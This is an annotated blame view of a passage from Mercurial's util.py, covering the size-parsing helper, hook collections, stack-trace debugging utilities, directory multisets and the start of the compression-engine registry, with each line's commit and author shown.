parents: 18938
diff changeset
  3450
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3451
def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3452
    '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3453
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3454
    >>> sizetoint(b'30')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3455
    30
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3456
    >>> sizetoint(b'2.2kb')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3457
    2252
34131
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34084
diff changeset
  3458
    >>> sizetoint(b'6M')
19194
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3459
    6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3460
    '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3461
    t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3462
    try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3463
        for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3464
            if t.endswith(k):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3465
                return int(float(t[:-len(k)]) * u)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3466
        return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3467
    except ValueError:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents: 18938
diff changeset
  3468
        raise error.ParseError(_("couldn't parse size: %s") % s)
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3469
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3470
class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3471
    '''A collection of hook functions that can be used to extend a
26098
ce26928cbe41 spelling: behaviour -> behavior
timeless@mozdev.org
parents: 25672
diff changeset
  3472
    function's behavior. Hooks are called in lexicographic order,
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3473
    based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3474
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3475
    def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3476
        self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3477
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3478
    def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3479
        self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3480
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3481
    def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3482
        self._hooks.sort(key=lambda x: x[0])
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
  3483
        results = []
19211
3bfd7f1e7485 summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents: 19194
diff changeset
  3484
        for source, hook in self._hooks:
21046
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
  3485
            results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 21018
diff changeset
  3486
        return results
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3487
36129
2874896a6e3b util: format line number of stack trace using %d
Augie Fackler <augie@google.com>
parents: 36128
diff changeset
  3488
def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3489
    '''Yields lines for a nicely formatted stacktrace.
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3490
    Skips the 'skip' last entries, then return the last 'depth' entries.
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3491
    Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3492
    Each line is formatted according to line.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3493
    If line is None, it yields:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3494
      length of longest filepath+line number,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3495
      filepath+linenumber,
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3496
      function
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3498
    Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3499
    '''
36130
7ec26f27ca83 util: convert traceback-related sysstrs to sysbytes in getstackframes
Augie Fackler <augie@google.com>
parents: 36129
diff changeset
  3500
    entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3501
        for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3502
        ][-depth:]
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3503
    if entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3504
        fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3505
        for fnln, func in entries:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3506
            if line is None:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3507
                yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3508
            else:
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3509
                yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3510
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3511
def debugstacktrace(msg='stacktrace', skip=0,
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3512
                    f=stderr, otherf=stdout, depth=0):
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3513
    '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3514
    Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3515
    By default it will flush stdout first.
28496
b592564a803c util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents: 28027
diff changeset
  3516
    It can be used everywhere and intentionally does not require an ui object.
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3517
    Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3518
    '''
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
  3519
    if otherf:
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
  3520
        otherf.flush()
31314
7c877cbf30d6 util: strip trailing newline from debugstacktrace message
Mads Kiilerich <madski@unity3d.com>
parents: 31141
diff changeset
  3521
    f.write('%s at:\n' % msg.rstrip())
31315
78ac7061f840 util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents: 31314
diff changeset
  3522
    for line in getstackframes(skip + 1, depth=depth):
28497
906fece80cfa util: refactor getstackframes
timeless <timeless@mozdev.org>
parents: 28496
diff changeset
  3523
        f.write(line)
20542
be27652675ce util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents: 20353
diff changeset
  3524
    f.flush()
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  3525
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3526
class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3527
    '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3528
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3529
    def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3530
        self._dirs = {}
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3531
        addpath = self.addpath
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3532
        if safehasattr(map, 'iteritems') and skip is not None:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3533
            for f, s in map.iteritems():
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3534
                if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3535
                    addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3536
        else:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3537
            for f in map:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3538
                addpath(f)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3539
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3540
    def addpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3541
        dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3542
        for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3543
            if base in dirs:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3544
                dirs[base] += 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3545
                return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3546
            dirs[base] = 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3547
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3548
    def delpath(self, path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3549
        dirs = self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3550
        for base in finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3551
            if dirs[base] > 1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3552
                dirs[base] -= 1
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3553
                return
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3554
            del dirs[base]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3555
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3556
    def __iter__(self):
31430
807387581d89 py3: use iter() instead of iterkeys()
Rishabh Madan <rishabhmadan96@gmail.com>
parents: 31404
diff changeset
  3557
        return iter(self._dirs)
24635
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3558
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3559
    def __contains__(self, d):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3560
        return d in self._dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3561
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3562
if safehasattr(parsers, 'dirs'):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3563
    dirs = parsers.dirs
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3564
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3565
def finddirs(path):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3566
    pos = path.rfind('/')
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3567
    while pos != -1:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3568
        yield path[:pos]
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3569
        pos = path.rfind('/', 0, pos)
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util
Drew Gottlieb <drgott@google.com>
parents: 24605
diff changeset
  3570
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3571
# compression code
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3572
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3573
SERVERROLE = 'server'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3574
CLIENTROLE = 'client'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3575
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3576
compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3577
                                               (u'name', u'serverpriority',
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3578
                                                u'clientpriority'))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3579
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3580
class compressormanager(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3581
    """Holds registrations of various compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3582
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3583
    This class essentially abstracts the differences between compression
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3584
    engines to allow new compression formats to be added easily, possibly from
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3585
    extensions.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3586
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3587
    Compressors are registered against the global instance by calling its
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3588
    ``register()`` method.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3589
    """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3590
    def __init__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3591
        self._engines = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3592
        # Bundle spec human name to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3593
        self._bundlenames = {}
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3594
        # Internal bundle identifier to engine name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3595
        self._bundletypes = {}
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3596
        # Revlog header to engine name.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3597
        self._revlogheaders = {}
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3598
        # Wire proto identifier to engine name.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3599
        self._wiretypes = {}
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3600
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3601
    def __getitem__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3602
        return self._engines[key]
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3603
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3604
    def __contains__(self, key):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3605
        return key in self._engines
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3606
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3607
    def __iter__(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3608
        return iter(self._engines.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3609
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3610
    def register(self, engine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3611
        """Register a compression engine with the manager.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3612
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3613
        The argument must be a ``compressionengine`` instance.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3614
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3615
        if not isinstance(engine, compressionengine):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3616
            raise ValueError(_('argument must be a compressionengine'))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3617
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3618
        name = engine.name()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3619
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3620
        if name in self._engines:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3621
            raise error.Abort(_('compression engine %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3622
                              name)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3623
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3624
        bundleinfo = engine.bundletype()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3625
        if bundleinfo:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3626
            bundlename, bundletype = bundleinfo
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3627
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3628
            if bundlename in self._bundlenames:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3629
                raise error.Abort(_('bundle name %s already registered') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3630
                                  bundlename)
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3631
            if bundletype in self._bundletypes:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3632
                raise error.Abort(_('bundle type %s already registered by %s') %
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3633
                                  (bundletype, self._bundletypes[bundletype]))
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3634
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3635
            # No external facing name declared.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3636
            if bundlename:
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3637
                self._bundlenames[bundlename] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3638
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3639
            self._bundletypes[bundletype] = name
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3640
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3641
        wiresupport = engine.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3642
        if wiresupport:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3643
            wiretype = wiresupport.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3644
            if wiretype in self._wiretypes:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3645
                raise error.Abort(_('wire protocol compression %s already '
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3646
                                    'registered by %s') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3647
                                  (wiretype, self._wiretypes[wiretype]))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3648
